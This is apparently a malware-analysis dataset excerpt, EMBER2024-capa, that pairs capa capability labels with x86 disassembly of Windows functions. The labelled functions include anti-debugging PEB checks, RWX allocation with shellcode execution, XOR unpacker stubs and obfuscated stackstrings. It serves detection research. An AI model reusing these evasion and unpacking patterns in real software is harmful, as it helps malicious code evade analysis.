joyce8/EMBER2024-capa huggingface dataset:
Function at 0x473590
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48b9fa
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x4b666c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
call fcn.00473ca0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x28]
mov dword [eax], vtable.CAppToolTipDlg.0
mov ecx, dword [ebp - 0x28]
add ecx, 0x20
call fcn.00411280
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x28]
add ecx, 0x24
call fcn.00411280
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x28]
add ecx, 0x28
call fcn.00411280
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x28]
mov dword [ecx + 0x2c], 0
mov edx, dword [ebp - 0x28]
mov dword [edx + 0x30], 0
mov ecx, dword [ebp - 0x28]
add ecx, 0x44
call fcn.0041f340
mov ecx, dword [ebp - 0x28]
add ecx, 0x4c
call fcn.0041f340
mov ecx, dword [ebp - 0x28]
add ecx, 0x54
call fcn.0041f340
push 0x98
push 0x98
push 0x98
lea ecx, [ebp - 0x18]
call fcn.0041f410
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x5c
call fcn.0041f480
mov byte [ebp - 4], 4
push 0
push 0x4a0234
mov ecx, dword [ebp - 0x28]
add ecx, 0x68
call fcn.0041fb80
mov byte [ebp - 4], 5
push 0x51
push 0x51
push 0x51
lea ecx, [ebp - 0x1c]
call fcn.0041f410
push eax
mov ecx, dword [ebp - 0x28]
add ecx, 0x70
call fcn.0041f480
mov byte [ebp - 4], 6
push 0x30
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4736ad
mov ecx, dword [ebp - 0x20]
call fcn.0041fc90
mov dword [ebp - 0x2c], eax
jmp 0x4736b4
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [eax + 0x2c], ecx
push 0xfcb
call fcn.00416da0
mov ecx, eax
call fcn.00416e30
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4736e6
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x2c]
call fcn.00420190
push 0x30
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x473706
mov ecx, dword [ebp - 0x24]
call fcn.0041fc90
mov dword [ebp - 0x30], eax
jmp 0x47370d
mov dword [ebp - 0x30], 0
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x30]
mov dword [ecx + 0x30], edx
push 0x7ea
call fcn.00416da0
mov ecx, eax
call fcn.00416e30
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x47373f
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx + 0x30]
call fcn.00420190
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x478e30
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Get ntdll base address
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x48c48b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, dword [0x4b666c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov byte [eax], 0
mov ecx, dword [ebp - 0x10]
mov byte [ecx + 1], 0
mov edx, dword [ebp - 0x10]
mov byte [edx + 2], 0
mov ecx, dword [ebp - 0x10]
add ecx, 4
call fcn.00411280
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x10]
add ecx, 8
call fcn.00411280
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0xc
call fcn.00411280
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x10]
add ecx, 0x10
call fcn.00411280
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x10]
add ecx, 0x14
call fcn.00411280
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
call fcn.00411280
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x10]
add ecx, 0x1c
call fcn.00411280
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x10]
add ecx, 0x20
call fcn.00411280
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x10]
add ecx, 0x24
call fcn.00411280
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x10]
add ecx, 0x28
call fcn.00411280
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x10]
add ecx, 0x2c
call fcn.00411280
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.00411280
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x10]
add ecx, 0x34
call fcn.00411280
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x10]
add ecx, 0x38
call fcn.00411280
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x10]
add ecx, 0x3c
call fcn.00411280
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x10]
add ecx, 0x40
call fcn.00411280
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x10]
add ecx, 0x44
call fcn.00411280
mov byte [ebp - 4], 0x10
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x47dde0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84c
mov eax, dword [0x4b666c]
xor eax, ebp
mov dword [ebp - 0xc], eax
push esi
push edi
mov ecx, 0xe
mov esi, 0x4a0a20
lea edi, [ebp - 0x848]
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov word [ebp - 0x810], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x80e]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x84c], 0x800
mov dword [ebp - 4], 1
lea edx, [ebp - 0x84c]
push edx
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x848]
push eax
push reloc.dump.dll_Ordinal_2
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x47de7b
lea ecx, [ebp - 0x810]
push ecx
mov ecx, dword [ebp + 8]
call fcn.004115e0
mov al, 1
jmp 0x47de7d
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.0047f406
mov esp, ebp
pop ebp
ret

Function at 0x47de90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x4b666c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
mov ecx, 0xe
mov esi, str.SOFTWARE9ENetwork9eMobile
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], 1
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.MSVCR90.dll_wcslen]
add esp, 4
lea ecx, [eax + eax + 2]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x48]
push eax
push reloc.dump.dll_Ordinal_2
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x47def8
mov al, 1
jmp 0x47defa
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047f406
mov esp, ebp
pop ebp
ret
Function at 0x47ecdc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4b6b44], 0
push esi
jne 0x47ec4a
call fcn.0047eb5e
test eax, eax
je 0x47ec8d
mov eax, dword [0x4b6b44]
cmp eax, 1
jne 0x47ec6b
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x47ec8d
pop esi
ret
push eax
call dword [0x4b6b4c]
test eax, eax
jne 0x47ecd5
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x47ec91
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x4b6b44]
call dword [0x4b6b4c]
mov edi, eax
test edi, edi
je 0x47ecb6
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x47ecd2
mov edi, esi
add esi, 0xff0
push edi
push dword [0x4b6b44]
call dword [0x4b6b48]
add edi, 0x10
cmp edi, esi
jb 0x47ecbe
mov eax, edi
pop edi
pop esi
ret
jmp 0x47ec37

Function at 0x47f406
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4b666c]
jne 0x47f410
repz ret
jmp fcn.0047fdac
Function at 0x1000615c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1000616b
pop dword [ebp - 0x24]
mov eax, 0xb0d8a0e8
add eax, 0x5f27c083
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3c596
push 0
mov eax, 0x49b12fc2
add eax, 0xc650317e
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x89043b7f
sub ecx, 0x8903ea57
xor edx, edx
add edx, eax
mov ebx, 0x10024400
add ebx, dword [ebp - 0x24]
mov edi, 0x75107ab8
add edi, 0xb3d32424
sub dword [ebp - 8], 0x3847f428
mov esi, dword [ebx]
mov dword [ebp - 0x14], 0xec68d1b2
add esi, edi
mov dword [edx], esi
xor dword [ebp - 0x10], ecx
add edx, 0x8b56c96d
sub edx, 0x8b56c969
add ebx, 4
loop 0x100061c6
add eax, 0x13773
mov ebx, eax
add eax, 0x37e78f9d
sub eax, 0x37e78f98
mov ecx, 0x10000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x406e41
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x406e50
pop dword [ebp - 0x18]
mov eax, 0xc6c7cb34
sub eax, 0xc6875ce4
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x50752
push 0
mov eax, 0x8825be94
add eax, 0x7820a944
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x37ee5ede
add ecx, 0xc811f43b
xor edi, edi
add edi, eax
mov ebx, 0x48e000
add ebx, dword [ebp - 0x18]
mov esi, 0x242b2571
sub esi, 0x26643922
sub dword [ebp - 8], edx
mov edx, dword [ebx]
add dword [ebp - 0x14], 0x207b05a7
add edx, esi
xor dword [ebp - 0x10], 0x403a6bba
mov dword [edi], edx
sub dword [ebp - 4], edx
add edi, 4
add ebx, 0x2c9d0154
add ebx, 0xd362feb0
loop 0x406eab
add eax, 0x57ba8b04
add eax, 0xa846b433
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x11042
Capabilities:
Find process by pid

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
mov esi, edi
shl esi, 2
mov eax, dword [esi + 0x139a8]
test eax, eax
je 0x1109d
lea eax, [ebp - 4]
push eax
push dword [esi + 0x139a8]
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
jne 0x1108c
mov dword [esi + 0x139a8], 0
mov dword [esi + 0x139d0], 0
mov ecx, dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ObfReferenceObject]
inc edi
cmp edi, 0xa
jl 0x1104c
jmp 0x110b4
mov ecx, dword [ebp + 0xc]
mov eax, edi
shl eax, 2
mov dword [eax + 0x139a8], ecx
mov ecx, dword [ebp + 8]
mov dword [eax + 0x139d0], ecx
pop edi
pop esi
leave
ret 8

Function at 0x112b0
Capabilities:
Find process by pid

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x24]
push esi
push edi
xor edi, edi
cmp dword [ebp + 0x20], 0x88112007
mov dword [eax], 0xc0000001
mov dword [eax + 4], edi
je 0x11367
cmp dword [ebp + 0x20], 0x8811e00c
je 0x112e6
mov dword [eax], 0xc0000010
jmp 0x1137c
cmp dword [ebp + 0x14], 4
jb 0x1135f
mov esi, dword [ebp + 0x10]
cmp esi, edi
je 0x1135f
mov ecx, dword [esi]
cmp ecx, edi
jne 0x11301
mov dword [eax], 0xc000000d
jmp 0x1137c
push 0x139fc
push ecx
call dword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
push dword [0x139fc]
call dword [sym.imp.ntoskrnl.exe_MmIsAddressValid]
test al, al
je 0x1137e
push dword [esi]
push dword [0x139fc]
call fcn.00011042
cmp dword [esi + 4], edi
je 0x1134a
cmp dword [esi + 8], edi
je 0x1134a
cmp dword [esi + 0xc], edi
je 0x1134a
cmp dword [esi + 0x10], edi
je 0x1134a
push esi
push dword [0x139fc]
call fcn.000111dc
push dword [esi]
call fcn.0001112a
mov ecx, dword [0x139fc]
call dword [sym.imp.ntoskrnl.exe_ObfReferenceObject]
jmp 0x1137c
mov dword [eax], 0xc0000206
jmp 0x1137c
call dword [sym.imp.ntoskrnl.exe_PsGetCurrentProcessId]
mov esi, eax
call dword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
push esi
push eax
call fcn.00011006
mov al, 1
pop edi
pop esi
pop ebp
ret 0x24

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..idata
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x2f6e0d72
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x2a5b1e42
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x407280
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x80], str.Z_J_tn
push ebx
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x80]
mov eax, 0x5c2e78
mov dword [ebp - 0x7c], 0x700074
push edi
mov dword [ebp - 0x78], 0x2f003a
mov edx, 0x3e
mov dword [ebp - 0x74], 0x74002f
sub esi, eax
mov dword [ebp - 0x70], 0x2e0067
mov dword [ebp - 0x6c], 0x610074
mov dword [ebp - 0x68], 0x6a006f
mov dword [ebp - 0x64], 0x6b0069
mov dword [ebp - 0x60], 0x2e0065
mov dword [ebp - 0x5c], 0x6f0063
mov dword [ebp - 0x58], 0x2e006d
mov dword [ebp - 0x54], 0x6e0063
mov dword [ebp - 0x50], 0x6c002f
mov dword [ebp - 0x4c], 0x67006f
mov dword [ebp - 0x48], 0x6e0069
mov dword [ebp - 0x44], 0x64002f
mov dword [ebp - 0x40], 0x730069
mov dword [ebp - 0x3c], 0x650070
mov dword [ebp - 0x38], 0x73006e
mov dword [ebp - 0x34], 0x3f0065
mov dword [ebp - 0x30], 0x680063
mov dword [ebp - 0x2c], 0x6e0061
mov dword [ebp - 0x28], 0x65006e
mov dword [ebp - 0x24], 0x3d006c
mov dword [ebp - 0x20], 0x640077
mov dword [ebp - 0x1c], 0x75005f
mov dword [ebp - 0x18], 0x69006e
mov dword [ebp - 0x14], 0x73006e
mov dword [ebp - 0x10], 0x610074
mov dword [ebp - 0xc], 0x6c006c
nop dword [eax]
lea ecx, [edx + 0x7fffffc0]
test ecx, ecx
je 0x40739e
movzx ecx, word [esi + eax]
test cx, cx
je 0x40739e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x407380
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5c2e78
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret
Function at 0x4073d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x80], str.Z_J_tn
push ebx
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x80]
mov eax, 0x5c2df8
mov dword [ebp - 0x7c], 0x700074
push edi
mov dword [ebp - 0x78], 0x2f003a
mov edx, 0x3e
mov dword [ebp - 0x74], 0x74002f
sub esi, eax
mov dword [ebp - 0x70], 0x2e0067
mov dword [ebp - 0x6c], 0x610074
mov dword [ebp - 0x68], 0x6a006f
mov dword [ebp - 0x64], 0x6b0069
mov dword [ebp - 0x60], 0x2e0065
mov dword [ebp - 0x5c], 0x6f0063
mov dword [ebp - 0x58], 0x2e006d
mov dword [ebp - 0x54], 0x6e0063
mov dword [ebp - 0x50], 0x6c002f
mov dword [ebp - 0x4c], 0x67006f
mov dword [ebp - 0x48], 0x6e0069
mov dword [ebp - 0x44], 0x64002f
mov dword [ebp - 0x40], 0x730069
mov dword [ebp - 0x3c], 0x650070
mov dword [ebp - 0x38], 0x73006e
mov dword [ebp - 0x34], 0x3f0065
mov dword [ebp - 0x30], 0x680063
mov dword [ebp - 0x2c], 0x6e0061
mov dword [ebp - 0x28], 0x65006e
mov dword [ebp - 0x24], 0x3d006c
mov dword [ebp - 0x20], 0x640077
mov dword [ebp - 0x1c], 0x75005f
mov dword [ebp - 0x18], 0x69006e
mov dword [ebp - 0x14], 0x73006e
mov dword [ebp - 0x10], 0x610074
mov dword [ebp - 0xc], 0x6c006c
nop dword [eax]
lea ecx, [edx + 0x7fffffc0]
test ecx, ecx
je 0x4074ee
movzx ecx, word [esi + eax]
test cx, cx
je 0x4074ee
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4074d0
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5c2df8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x407520
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x40], 0x250022
push ebx
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x40]
mov eax, 0x5c2c40
mov dword [ebp - 0x3c], 0x220073
push edi
mov dword [ebp - 0x38], 0x2f0020
mov edx, 0x1e
mov dword [ebp - 0x34], 0x6e0075
sub esi, eax
mov dword [ebp - 0x30], 0x6e0069
mov dword [ebp - 0x2c], 0x740073
mov dword [ebp - 0x28], 0x6c0061
mov dword [ebp - 0x24], 0x20006c
mov dword [ebp - 0x20], 0x66002f
mov dword [ebp - 0x1c], 0x6f0072
mov dword [ebp - 0x18], 0x3d006d
mov dword [ebp - 0x14], 0x6e0075
mov dword [ebp - 0x10], 0x6e0069
mov dword [ebp - 0xc], 0x740073
nop word [eax + eax]
lea ecx, [edx + 0x7fffffe0]
test ecx, ecx
je 0x4075ce
movzx ecx, word [esi + eax]
test cx, cx
je 0x4075ce
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4075b0
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5c2c40
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret
Function at 0x407600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x2c], 0x4f0053
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x2c]
mov eax, 0x5c2798
mov dword [ebp - 0x28], 0x540046
mov dword [ebp - 0x24], 0x410057
mov edx, 0x14
mov dword [ebp - 0x20], 0x450052
sub esi, eax
mov dword [ebp - 0x1c], 0x4d005c
mov dword [ebp - 0x18], 0x630069
mov dword [ebp - 0x14], 0x6f0072
mov dword [ebp - 0x10], 0x610047
mov dword [ebp - 0xc], 0x65006d
lea ecx, [edx + 0x7fffffea]
test ecx, ecx
je 0x407683
movzx ecx, word [esi + eax]
test cx, cx
je 0x407683
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x407665
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c2798
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x4076b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x80], str.Z_J_tn
push ebx
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x80]
mov eax, 0x5c2d78
mov dword [ebp - 0x7c], 0x700074
push edi
mov dword [ebp - 0x78], 0x2f003a
mov edx, 0x3e
mov dword [ebp - 0x74], 0x74002f
sub esi, eax
mov dword [ebp - 0x70], 0x2e0067
mov dword [ebp - 0x6c], 0x610074
mov dword [ebp - 0x68], 0x6a006f
mov dword [ebp - 0x64], 0x6b0069
mov dword [ebp - 0x60], 0x2e0065
mov dword [ebp - 0x5c], 0x6f0063
mov dword [ebp - 0x58], 0x2e006d
mov dword [ebp - 0x54], 0x6e0063
mov dword [ebp - 0x50], 0x6c002f
mov dword [ebp - 0x4c], 0x67006f
mov dword [ebp - 0x48], 0x6e0069
mov dword [ebp - 0x44], 0x64002f
mov dword [ebp - 0x40], 0x730069
mov dword [ebp - 0x3c], 0x650070
mov dword [ebp - 0x38], 0x73006e
mov dword [ebp - 0x34], 0x3f0065
mov dword [ebp - 0x30], 0x680063
mov dword [ebp - 0x2c], 0x6e0061
mov dword [ebp - 0x28], 0x65006e
mov dword [ebp - 0x24], 0x3d006c
mov dword [ebp - 0x20], 0x640077
mov dword [ebp - 0x1c], 0x75005f
mov dword [ebp - 0x18], 0x69006e
mov dword [ebp - 0x14], 0x73006e
mov dword [ebp - 0x10], 0x610074
mov dword [ebp - 0xc], 0x6c006c
nop dword [eax]
lea ecx, [edx + 0x7fffffc0]
test ecx, ecx
je 0x4077ce
movzx ecx, word [esi + eax]
test cx, cx
je 0x4077ce
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4077b0
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5c2d78
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret
Function at 0x407800
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, 0x5c29e0
mov dword [ebp - 0x58], 0x650063
lea esi, [ebp - 0x58]
mov dword [ebp - 0x54], str.sMu_C
push edi
mov dword [ebp - 0x50], 0x6c0065
mov edx, 0x2b
mov dword [ebp - 0x4c], 0x650070
sub esi, eax
mov dword [ebp - 0x48], 0x2e0072
mov dword [ebp - 0x44], 0x6c0064
mov dword [ebp - 0x40], 0x20006c
mov dword [ebp - 0x3c], 0x740053
mov dword [ebp - 0x38], 0x720061
mov dword [ebp - 0x34], 0x450074
mov dword [ebp - 0x30], 0x200078
mov dword [ebp - 0x2c], 0x750066
mov dword [ebp - 0x28], 0x63006e
mov dword [ebp - 0x24], 0x690074
mov dword [ebp - 0x20], 0x6e006f
mov dword [ebp - 0x1c], 0x690020
mov dword [ebp - 0x18], 0x200073
mov dword [ebp - 0x14], 0x75006e
mov dword [ebp - 0x10], 0x6c006c
mov dword [ebp - 0xc], 0x740070
mov dword [ebp - 8], 0x72
lea ecx, [edx + 0x7fffffd3]
test ecx, ecx
je 0x4078d3
movzx ecx, word [esi + eax]
test cx, cx
je 0x4078d3
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x4078b5
lea ecx, [eax - 2]
test edx, edx
pop edi
cmovne ecx, eax
xor eax, eax
pop esi
pop ebx
mov word [ecx], ax
mov eax, 0x5c29e0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x407900
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x28], 0x2f0020
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x28]
mov eax, 0x5c2858
mov dword [ebp - 0x24], 0x6e0069
mov dword [ebp - 0x20], 0x740073
mov edx, 0x12
mov dword [ebp - 0x1c], 0x6c0061
sub esi, eax
mov dword [ebp - 0x18], 0x5f006c
mov dword [ebp - 0x14], 0x61006c
mov dword [ebp - 0x10], 0x6e0075
mov dword [ebp - 0xc], 0x680063
nop
lea ecx, [edx + 0x7fffffec]
test ecx, ecx
je 0x40797e
movzx ecx, word [esi + eax]
test cx, cx
je 0x40797e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x407960
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c2858
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret

Function at 0x4079a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x5bb278]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x28], 0x2f0020
push esi
mov word [ebp - 8], ax
lea esi, [ebp - 0x28]
mov eax, 0x5c2d30
mov dword [ebp - 0x24], 0x720066
mov dword [ebp - 0x20], 0x6d006f
mov edx, 0x12
mov dword [ebp - 0x1c], 0x64003d
sub esi, eax
mov dword [ebp - 0x18], 0x730065
mov dword [ebp - 0x14], 0x5f006b
mov dword [ebp - 0x10], 0x630069
mov dword [ebp - 0xc], 0x6e006f
nop
lea ecx, [edx + 0x7fffffec]
test ecx, ecx
je 0x407a1e
movzx ecx, word [esi + eax]
test cx, cx
je 0x407a1e
mov word [eax], cx
add eax, 2
sub edx, 1
jne 0x407a00
lea ecx, [eax - 2]
test edx, edx
pop esi
cmovne ecx, eax
xor eax, eax
mov word [ecx], ax
mov eax, 0x5c2d30
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046975d
mov esp, ebp
pop ebp
ret